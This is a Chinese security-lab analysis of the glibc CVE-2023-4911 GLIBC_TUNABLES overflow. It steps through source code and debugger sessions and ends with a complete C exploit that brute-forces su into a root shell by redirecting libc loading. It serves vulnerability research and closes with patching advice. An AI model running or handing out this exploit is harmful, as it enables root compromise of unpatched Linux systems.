作者:Hcamael@知道创宇404实验室
时间:2023年12月18日
最近 glibc 被曝出一个漏洞:CVE-2023-4911。初步观察表明,该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞,评估该漏洞的利用难度和危害。
网上能搜集到的信息如下:
我们先通过详情来看漏洞点,根据漏洞详情中的介绍,该漏洞位于 glibc 的elf/dl-tunables.c
文件中的parse_tunables
函数:
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true)
{
char *name = p;
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
p += len + 1;
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr];
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++;
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':';
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++;
tunestr[off++] = '=';
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j];
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break;
}
value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}
if (p[len] != '\0')
p += len + 1;
}
}
调用该函数的代码位于该文件的__tunables_init
函数中:
void
__tunables_init (char **envp)
{
char *envname = NULL;
char *envval = NULL;
size_t len = 0;
char **prev_envp = envp;
maybe_enable_malloc_check ();
while ((envp = get_next_env (envp, &envname, &len, &envval,
&prev_envp)) != NULL)
{
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
if (tunable_is_name (GLIBC_TUNABLES, envname))
{
char *new_env = tunables_strdup (envname);
if (new_env != NULL)
parse_tunables (new_env + len + 1, envval);
/* Put in the updated envval. */
*prev_envp = new_env;
continue;
}
#endif
......
}
相关代码不长,仔细看几遍代码就能理解,理解困难的话建议加上调试,此处我就总结一下该漏洞触发的流程。
GLIBC_TUNABLES
。tunables_strdup
函数,类似strdup
函数,就是把字符串放到堆
上,但是因为这个时候 libc 还没有初始化完成,所以使用的是__minimal_malloc
。GLIBC_TUNABLES
环境变量的值。__libc_enable_secure
启用使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE
时,会对环境变量进行一些处理,而这个处理就造成缓冲区溢出漏洞。溢出的原因请仔细阅读parse_tunables
函数代码,这里不再展开。不过下面给出一个示例来演示一下溢出的过程,这里有一个要注意的地方:gdb 没办法直接调试 suid 的程序,需要用到一个小技巧。
首先写一个中间程序:
// a.c
#include <unistd.h>
int main(int argc, char *argv[])
{
char *cmd[] = {"/usr/bin/su", "--help"};
char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};
execve(cmd[0], cmd, envp);
return 0;
}
// gcc a.c -o a
再编写一个.gdbinit
文件:
$ cat .gdbinit
start
set follow-exec-mode new
dir /usr/src/glibc/glibc-2.35/elf/
b __GI___tunables_init
c
接着就能开始使用 gdb 进行调试:
$ gdb a
? 0x7f43e9d6c560 <__GI___tunables_init> endbr64
# 接着找到 tunables_strdup 函数中 __minimal_malloc 的位置,找到申请的内存地址
pwndbg> b *(__GI___tunables_init+511)
pwndbg> c
? 0x7f43e9d6c75f <__GI___tunables_init+511> call __minimal_malloc <__minimal_malloc>
rdi: 0x3a
pwndbg> ni
*RAX 0x7f43e9d902e0 ?— 0x0
# 然后断点下到 parse_tunables
pwndbg> b parse_tunables
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"
0x7f43e9d90319: ""
0x7f43e9d9031a: ""
0x7f43e9d9031b: ""
# 确认一下 __libc_enable_secure = 1
pwndbg> p __libc_enable_secure
$1 = 1
# 接着找到 parse_tunables 结束的代码
pwndbg> b *(__GI___tunables_init+729)
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出
0x7f43e9d9035a: ""
0x7f43e9d9035b: ""
0x7f43e9d9035c: ""
先来说说该漏洞利用的一些前置条件,通过parse_tunables
函数的代码,可以发现,只有当__libc_enable_secure == 1
的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1
呢?
翻阅 glibc 的代码,发现__libc_init_secure
函数:
void
__libc_init_secure (void)
{
if (__libc_enable_secure_decided == 0)
__libc_enable_secure = (startup_geteuid () != startup_getuid ()
|| startup_getegid () != startup_getgid ());
}
也就是说,只有当运行 suid/sgid 程序时,__libc_enable_secure
才会等于 1,如下所示:
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
$ ls -alF /usr/bin/su
-rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su*
# su程序的__libc_enable_secure=1
$ ls -alF test1
-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*
# 运行test1程序,__libc_enable_secure也等于1
$ ls -alF test2
-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*
# 运行test2程序,__libc_enable_secure等于0
也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户的作用有限,不如从普通用户越权到 root 用户,以达到提权的效果。所以该漏洞最后的利用思路就是用来提权,本质上就是去溢出(PWN) 一个有 root 权限的程序,所以和内核提权的漏洞还是有本质上的区别。
再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权。
首先,我想说一下该部分的内容。在完全理解漏洞发现者的利用思路后,我发现 glibc 的代码量还是非常大的,我目前也做不到对 glibc 的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,以下内容只是分享一下我对该利用思路的研究过程和理解。
1.简单地浏览一下公开的exp
代码,发现如下代码:
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
随后可进行推测,因为漏洞是发生在ld
加载程序中,所以可能替换掉 libc 的加载路径,就能加载自己修改过的恶意 libc 库。而加载程序 libc 时会默认运行起始函数的代码,起始函数是__libc_start_main
函数,所以把这部分的代码替换成自己要执行的 shellcode,那么加载恶意 libc 库的时候就会执行恶意嵌入的 shellcode 代码。
接下来就是开始研究该漏洞是如何替换掉 libc 的加载路径的。
2.在相应的环境上运行一下,ASLR 开启的情况下,exp 不是一次就能成功的,ASLR 关闭的情况下没利用成功,暂且不管。
3.继续看exp
代码,发现跟程序地址有关的只有一个stack_top
地址,表示栈顶地址,而且经过计算后,最后的payload
中,该地址是一个定值,不会发现变化。我对这种利用方式深感好奇,认为这一利用思路非常巧妙,仅需覆盖一个栈地址即可替换 libc 的加载路径。
4.接下来我花一些时间去一步步调试,最后理解清楚该利用思路。为了节省大家时间,这里用一个 demo,然后缩减 exp 的内容,来帮助大家理解该利用思路。
首先写一个测试程序:
// test.c
#include <stdio.h>
unsigned long ptr = -0x18ULL;
int main(int argc, char *argv[])
{
printf("Hello World.");
return 0;
}
// gcc test.c -g -no-pie -o test
// ls -alF test
// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*
我们设置的第一个环境变量为:
char fill[0xd00];
strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < (0xd00 - 1); i++)
{
fill[i] = 'A';
}
fill[0xd00 - 1] = '\0';
这部分将会调用__minimal_malloc(0xd00 + 1)
,这个时候的内存信息如下:
RAX 0x7f4109f8f2e0 ?— 0x0 # malloc的返回值
pwndbg> vmmap
0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'
也就是说,这部分内存区域只剩下 0x1f 字节,如果后续还要调用 malloc,那么则会通过 mmap 申请一段新内存区域。
第一部分不会触发溢出漏洞。
设置的第二部分环境变量为:
#define PAYLOAD_SIZE 0x100
char payload[PAYLOAD_SIZE];
strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++)
{
payload[i] = 'B';
}
payload[PAYLOAD_SIZE - 1] = '\0';
第二部分将会调用__minimal_malloc(0x100 + 1)
,这个时候的内存信息如下:
*RAX 0x7f4109f52000 ?— 0x0 # malloc的返回值
pwndbg> vmmap
0x7f4109f52000 0x7f4109f54000 rw-p 2000 0 [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'
如果我们构造的代码到此为止,那么下一次 ld 获取内存是位于_dl_new_object
函数中,调用__minimal_calloc
函数,调试情况如下所示:
pwndbg> b *(_dl_new_object+109)
pwndbg> c
0x7f4908e899fd <_dl_new_object+109> call qword ptr [rip + 0x2c06d] <__minimal_calloc>
pwndbg> ni
*RAX 0x7f4908e74c40 ?— 0x0
调用_dl_new_object
是为了给struct link_map
结构体申请内存,所以可以查看一下该结构:
pwndbg> b *(_dl_new_object+115)
pwndbg> c
0x7ffaa8c249fd <_dl_new_object+109>: call QWORD PTR [rip+0x2c06d] # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
l_addr = 4774451407232463713,
l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
l_ld = 0x4242424242424242,
l_next = 0x4242424242424242,
l_prev = 0x4242424242424242,
l_real = 0x4242424242424242,
l_ns = 4774451407313060418,
l_libname = 0x4242424242424242,
l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},
通过该结构的数据发现,我们可以成功覆盖struct link_map
结构体,所以这个时候产生了一个思路:通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要对 glibc 的代码非常熟悉,加上调试测试,才可能找到一个可行的利用链。
而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]
成员变量,相关代码位于elf/dl-load.c
文件的_dl_init_paths
函数:
void
_dl_init_paths (const char *llp, const char *source,
const char *glibc_hwcaps_prepend,
const char *glibc_hwcaps_mask)
{
......
if (l->l_info[DT_RPATH])
{
/* Allocate room for the search path and fill in information
from RPATH. */
decompose_rpath (&l->l_rpath_dirs,
(const void *) (D_PTR (l, l_info[DT_STRTAB])
+ l->l_info[DT_RPATH]->d_un.d_val),
l, "RPATH");
/* During rtld init the memory is allocated by the stub
malloc, prevent any attempt to free it by the normal
malloc. */
l->l_rpath_dirs.malloced = 0;
}
else
l->l_rpath_dirs.dirs = (void *) -1;
}
......
关于DT_RPATH
的用法,可以 Google 搜索一下:
简单来说,DT_RPATH
的值是一个偏移值,如果设置该值,那么就会在执行程序的DT_STRTAB
表中搜索字符串作为 libc 的搜索路径。
这样就产生一条利用链:通过内存溢出,设置link_map->l_info[DT_RPATH]
,从而控制libc
库加载的搜索路径,加载恶意的 libc.so 来达到命令执行目的。
我们来简单测试一下:
pwndbg> x/10gx 0x404028
0x404028: 0x0000000000000000 0xffffffffffffffe8 # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;
0x404038 <completed.0>: 0x0000000000000000 0x0000000000000000
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
pwndbg> b *(_dl_init_paths+669)
pwndbg> c
? 0x7f8596e999ad <_dl_init_paths+669> mov rax, qword ptr [rbx + 0xb8] // l->l_info[DT_RPATH] = [rbx + 0xb8]
0x7f8596e999b4 <_dl_init_paths+676> mov qword ptr [rbx + 0x3c0], -1
0x7f8596e999bf <_dl_init_paths+687> test rax, rax
0x7f8596e999c2 <_dl_init_paths+690> je _dl_init_paths+949 <_dl_init_paths+949>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
804 else
805 {
806 l->l_runpath_dirs.dirs = (void *) -1;
807
? 808 if (l->l_info[DT_RPATH])
809 {
810 /* Allocate room for the search path and fill in information
811 from RPATH. */
812 decompose_rpath (&l->l_rpath_dirs,
813 (const void *) (D_PTR (l, l_info[DT_STRTAB])
pwndbg> x/gx $rbx + 0xb8
0x7fb757376398: 0x0000000000000000
pwndbg> set *0x7fb757376398=0x404028
pwndbg> p ((struct link_map *) $rbx)->l_info[15]
$4 = (Elf64_Dyn *) 0x404028
pwndbg> b *(_dl_init_paths+718)
pwndbg> c
? 0x7fb7573439de <_dl_init_paths+718> add rsi, qword ptr [rax + 8] <ptr>
0x7fb7573439e2 <_dl_init_paths+722> lea rdi, [rbx + 0x330]
0x7fb7573439e9 <_dl_init_paths+729> lea rcx, [rip + 0x253c8]
0x7fb7573439f0 <_dl_init_paths+736> add rsi, rdx
0x7fb7573439f3 <_dl_init_paths+739> mov rdx, rbx
0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
809 {
810 /* Allocate room for the search path and fill in information
811 from RPATH. */
812 decompose_rpath (&l->l_rpath_dirs,
813 (const void *) (D_PTR (l, l_info[DT_STRTAB])
? 814 + l->l_info[DT_RPATH]->d_un.d_val),
815 l, "RPATH");
pwndbg> b *(_dl_init_paths+742)
pwndbg> c
? 0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath>
rdi: 0x7fb757376610 ?— 0x0
rsi: 0x400418 ?— 0x200000003b /* ';' */
rdx: 0x7fb7573762e0 ?— 0x0
rcx: 0x7fb757368db8 ?— 0x3b3a004854415052 /* 'RPATH' */
路径就是decompose_rpath
函数的第二个参数,是一个指针,其值为0x400418
,指向";"字符串,那么该值是如何算出来的?STRTAB 地址为0x400430
,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18
,两者相加,就等于0x400418
。接着继续调试:
# 执行完decompose_rpath后,查看link_map结构体
pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)
$7 = {
next = 0x7f33ac209000,
what = 0x7f33ac238db8 "RPATH",
where = 0x7f33ac2091bb "",
dirname = 0x7f33ac2091b8 ";/", # 成功设置了libc搜索路径
dirnamelen = 2,
status = 0x7f33ac209198
}
pwndbg> b open_verify
Breakpoint 4 at 0x7f33ac211940 (2 locations)
pwndbg> c
*RDI 0x7fff0b17b0a0 ?— ';/tls/x86_64/x86_64/libc.so.6'
# 这里可以一直按c,查看rdi寄存器,最简单的路径如下
*RDI 0x7fff0b17b0a0 ?— ';/libc.so.6'
# 接着就可以关闭断点,继续执行了,就可以得到shell,如果执行失败,那可能是因为你没创建';/libc.so.6'文件
pwndbg> c
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
由于是使用 gdb 进行调试,所以没能获得 root 权限,但是这并不构成问题。只要我们走通流程,就可以进入下一步。
我们该如何覆盖到link_map->l_info[DT_RPATH]
结构?我们已知,在执行完__tunables_init
函数后,下一次申请内存地址就是在_dl_new_object
函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。
也就是要溢出覆盖到之后偏移为0xb8
的地址 ,并且这区间的地址值建议覆盖成\\0
,防止 glibc 代码中有相关的检查导致报错。
我研究出一种简单的方法来快速调试需要覆盖的地址偏移:
_dl_new_object
函数的calloc
处,也就是_dl_new_object+109
,方便调试,查看内存布局。exp.c
中,envp[0] = fill1;
用来填充旧的内存区域,envp[1] = payload;
用来进行内存溢出。因此之后要留有一部分区域置 0,直到设置到\xb8
:
for (int i=2;i<ENVP_SIZE-1;i++)
envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
# payload 的长度随便设置,暂时选择了 0x100
接着调试,看看我们这样的布局能溢出成怎样的内存布局:
pwndbg> b *(_dl_new_object+109)
pwndbg> c
pwndbg> vmmap
0x7fca03d3c000 0x7fca03d3e000 rw-p 2000 0 [anon_7fca03d3c]
pwndbg> x/64gx 0x7fca03d3c000 + 0x100
......
0x7fca03d3c1f0: 0x000000000000003d 0x0000000000000000
0x7fca03d3c200: 0x0000000000000000 0x0000000000000000
0x7fca03d3c210: 0x0000000000000000 0x0000000000000000
0x7fca03d3c220: 0x0000000000000000 0x0000000000000000
0x7fca03d3c230: 0x0000000000000000 0x0000000000000000
0x7fca03d3c240: 0x0000000000000000 0x0000000000000000
0x7fca03d3c250: 0x0000000000000000 0x0000000000000000
0x7fca03d3c260: 0x0000000000000000 0x0000000000000000
0x7fca03d3c270: 0x0000000000000000 0x0000000000000000
0x7fca03d3c280: 0x0000000000000000 0x0000000000000000
0x7fca03d3c290: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2a0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2b0: 0x0000404028000000 0x2e6362696c673a00
0x7fca03d3c2c0: 0x6d2e636f6c6c616d 0x00003d7473616678
0x7fca03d3c2d0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2e0: 0x0000000000000000 0x0000000000000000
0x7fca03d3c2f0: 0x0000000000000000 0x0000000000000000
我们覆盖的值为0x404028
,从上面可以看出该值的地址为: 0x7fca03d3c2b3
,计算一下:
>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)
'0xbb'
# 发现大于0xb8
从这里可以得知link_map
结构体的前部分结构应该没有问题,但是问题在于后部:
pwndbg> x/6gx 0x7fca03d3c2b3
0x7fca03d3c2b3: 0x673a000000404028 0x6c616d2e6362696c
0x7fca03d3c2c3: 0x6166786d2e636f6c 0x00000000003d7473
0x7fca03d3c2d3: 0x0000000000000000 0x0000000000000000
pwndbg> x/5s 0x7fca03d3c2b3
0x7fca03d3c2b3: "(@@"
0x7fca03d3c2b7: ""
0x7fca03d3c2b8: ""
0x7fca03d3c2b9: ":glibc.malloc.mxfast="
0x7fca03d3c2cf: ""
受漏洞点的限制,溢出的结尾必定有:xxxxx=
字符,我们要做的就是让该字符,离link_map
结构远一点,或者该部分区域会在ld
中进行初始化设置。
想要精细的调整,需要去研究哪些结构可以不置 0,但是我认为这种程度的精细调整并非必要,只需要调整payload
的长度,和envp[0x20 + 0xb8]
前部分这个偏移值,让:xxxxx=
字符串不影响到我们覆盖的地址就行。先这样使用,如果遇到报错,则继续调整,这样我们就没有必要继续阅读 glibc 源码。
当我把payload
的大小调整为0x200
时,这个时候的内存布局如下:
pwndbg> vmmap
0x7f94440ce000 0x7f94440d0000 rw-p 2000 0 [anon_7f94440ce]
pwndbg> x/2gx 0x7f94440ce000 + 0x200
0x7f94440ce200: 0x616d2e6362696c67 0x66786d2e636f6c6c
pwndbg> x/8gx 0x7f94440ce4b3
0x7f94440ce4b3: 0x0000000000404028 0x0000000000000000
0x7f94440ce4c3: 0x0000000000000000 0x0000000000000000
0x7f94440ce4d3: 0x0000000000000000 0x0000000000000000
0x7f94440ce4e3: 0x0000000000000000 0x0000000000000000
pwndbg> x/32gx 0x7f94440ce4b3 - 0xb8
0x7f94440ce3fb: 0x0000000000000000 0x0000000000000000
0x7f94440ce40b: 0x0000000000000000 0x0000000000000000
0x7f94440ce41b: 0x0000000000000000 0x0000000000000000
0x7f94440ce42b: 0x0000000000000000 0x0000000000000000
0x7f94440ce43b: 0x0000000000000000 0x0000000000000000
0x7f94440ce44b: 0x0000000000000000 0x0000000000000000
0x7f94440ce45b: 0x0000000000000000 0x0000000000000000
0x7f94440ce46b: 0x0000000000000000 0x0000000000000000
0x7f94440ce47b: 0x0000000000000000 0x0000000000000000
0x7f94440ce48b: 0x0000000000000000 0x0000000000000000
0x7f94440ce49b: 0x0000000000000000 0x0000000000000000
0x7f94440ce4ab: 0x0000000000000000 0x0000000000404028
从上面的内存布局来看,我们构造的link_map
结构是没问题的,但是怎么让link_map
申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb
,那么:
>>> hex(0x7f94440ce3fb - 0x7f94440ce200)
'0x1fb'
中间这0x1fb
字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb
,所以还需要微调一下:envp[0x25 + 0xb8] = "\x28\x40\x40";
再看一下内存结构:
pwndbg> vmmap
0x7f52386a6000 0x7f52386a8000 rw-p 2000 0 [anon_7f52386a6]
pwndbg> x/2gx 0x7f52386a6000 + 0x200
0x7f52386a6000: 0x616d2e6362696c67 0x66786d2e636f6c6c
pwndbg> x/2gx 0x7f52386a64b8
0x7f52386a64b8: 0x0000000000404028 0x0000000000000000
pwndbg> x/32gx 0x7f52386a64b8 - 0xb8
0x7f52386a6400: 0x0000000000000000 0x0000000000000000
0x7f52386a6410: 0x0000000000000000 0x0000000000000000
0x7f52386a6420: 0x0000000000000000 0x0000000000000000
0x7f52386a6430: 0x0000000000000000 0x0000000000000000
0x7f52386a6440: 0x0000000000000000 0x0000000000000000
0x7f52386a6450: 0x0000000000000000 0x0000000000000000
0x7f52386a6460: 0x0000000000000000 0x0000000000000000
0x7f52386a6470: 0x0000000000000000 0x0000000000000000
0x7f52386a6480: 0x0000000000000000 0x0000000000000000
0x7f52386a6490: 0x0000000000000000 0x0000000000000000
0x7f52386a64a0: 0x0000000000000000 0x0000000000000000
0x7f52386a64b0: 0x0000000000000000 0x0000000000404028
0x7f52386a64c0: 0x0000000000000000 0x0000000000000000
0x7f52386a64d0: 0x0000000000000000 0x0000000000000000
0x7f52386a64e0: 0x0000000000000000 0x0000000000000000
0x7f52386a64f0: 0x0000000000000000 0x0000000000000000
>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)
'0x1F0'
# 减去 0x10 是因为 payload 长度为 0x200,实际 malloc 申请的是 0x201,再加上偏移,所以下一个堆其实地址应该是 +0x210
这样,我们就需要在前面填充 0x1F0 字节,那怎么填充呢?可以利用开头填充上一块堆的思路。
#define PADDING_SIZE 0x1F0
char padding[PADDING_SIZE-3];
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
envp[ENVP_SIZE-2] = padding;
调试看看:
pwndbg> b *(_dl_new_object+115)
pwndbg> c
pwndbg> p ((struct link_map *) $rax)->l_info[15]
$2 = (Elf64_Dyn *) 0x404028
内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出 gdb,直接执行我们的 exp 程序,成功获取到 root 权限。
前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test
程序, 这个我们测试用的test
程序是没有开PIE
的,所以我们写入0x404028
地址,可以稳定触发。
我查找了 ubuntu 的实际程序,所有suid
的程序都开启 PIE 保护,也就是说,我们没有一个已知地址。我又查看了内存布局,在执行ld
代码的时候,内存布局大致如下:
pwndbg> vmmap
0x55985479c000 0x55985479e000 r--p 2000 0 /usr/sbin/unix_chkpwd
0x55985479e000 0x5598547a1000 r-xp 3000 2000 /usr/sbin/unix_chkpwd
0x5598547a1000 0x5598547a2000 r--p 1000 5000 /usr/sbin/unix_chkpwd
0x5598547a2000 0x5598547a4000 rw-p 2000 5000 /usr/sbin/unix_chkpwd
0x7faf282aa000 0x7faf282ac000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282ac000 0x7faf282d6000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282d6000 0x7faf282e1000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7faf282e2000 0x7faf282e6000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffd042d5000 0x7ffd042f6000 rw-p 21000 0 [stack]
0x7ffd0439e000 0x7ffd043a2000 r--p 4000 0 [vvar]
0x7ffd043a2000 0x7ffd043a4000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
我们只能确定vsyscall
地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存 Spray 了,比较合适的是 Stack Spray。
所以考虑通过环境变量来在栈上填充-0x14UL
,代码如下:
#define STACK_SIZE 0x20000
char stack_spray[STACK_SIZE];
for (int i = 0; i < STACK_SIZE; i += 8)
{
*(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';
for (int i = 0; i < 0x2F; i++)
{
envp[0x180 + i] = stack_spray;
}
一般情况下可能会报错:execve("/usr/bin/su", ["/usr/bin/su", "--help"], 0x7fff64f33a50 /* 499 vars */) = -1 E2BIG (Argument list too long)
可以在 execve 前调用一下下方代码,可以让缓冲区扩大到:0x20000 * 0x2F
:
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
if (setrlimit(RLIMIT_STACK, &rlim) < 0)
{
perror("setrlimit");
}
剩下的任务就是确定一个栈地址,接着就是顺其自然的爆破了。
最后贴一下简化版的相关代码:
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/resource.h>
#include <stdio.h>
#include <time.h>
#include <sys/wait.h>
#define ENVP_SIZE 600
#define PADDING_SIZE 0x1F0
#define STACK_SIZE 0x20000
int64_t time_us()
{
struct timespec tms;
/* POSIX.1-2008 way */
if (clock_gettime(CLOCK_REALTIME, &tms))
{
return -1;
}
/* seconds, multiplied with 1 million */
int64_t micros = tms.tv_sec * 1000000;
/* Add full microseconds */
micros += tms.tv_nsec / 1000;
/* round up if necessary */
if (tms.tv_nsec % 1000 >= 500)
{
++micros;
}
return micros;
}
int main(int argc, char *argv[])
{
// char *nargv[] = {"/home/hehe/Documents/libc-exp/test", NULL};
char *nargv[] = {"/usr/bin/su", "--help", 0};
char *envp[ENVP_SIZE] = {0, };
char fill1[0xd00];
char payload[0x200];
char padding[PADDING_SIZE-3];
char stack_spray[STACK_SIZE];
strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)
{
fill1[i] = 'A';
}
fill1[sizeof(fill1) - 1] = '\0';
strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < sizeof(payload) - 1; i++)
{
payload[i] = 'B';
}
payload[sizeof(payload) - 1] = '\0';
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
for (int i = 0; i < STACK_SIZE; i += 8)
{
*(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';
for (int i = 2; i < ENVP_SIZE-1; i++)
{
envp[i] = "";
}
envp[0] = fill1;
envp[1] = payload;
// envp[0] = "";
// envp[1] = "";
envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";
for (int i = 0; i < 0x2F; i++)
{
envp[0x200 + i] = stack_spray;
}
envp[0x1FE] = padding;
envp[0x23F] = "AAAA";
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
if (setrlimit(RLIMIT_STACK, &rlim) < 0)
{
perror("setrlimit");
}
int pid;
for (int ct = 1;; ct++)
{
if (ct % 100 == 0)
{
printf("try %d\n", ct);
}
if ((pid = fork()) < 0)
{
perror("fork");
break;
}
else if (pid == 0) // child
{
if (execve(nargv[0], nargv, envp) < 0)
{
perror("execve");
break;
}
}
else // parent
{
int wstatus;
int64_t st, en;
st = time_us();
wait(&wstatus);
en = time_us();
if (!WIFSIGNALED(wstatus) && en - st > 1000000)
{
// probably returning from shell :)
break;
}
}
}
// execve(nargv[0], nargv, envp);
return 0;
}
测试情况如下:
$ ./myexp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
# id
uid=0(root) gid=0(root)
各大系统都对该漏洞发布了更新补丁,比如ubuntu
系统,可以使用如下命令对 glibc 进行更新:
# apt-get update
# apt-get upgrade libc6
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3090/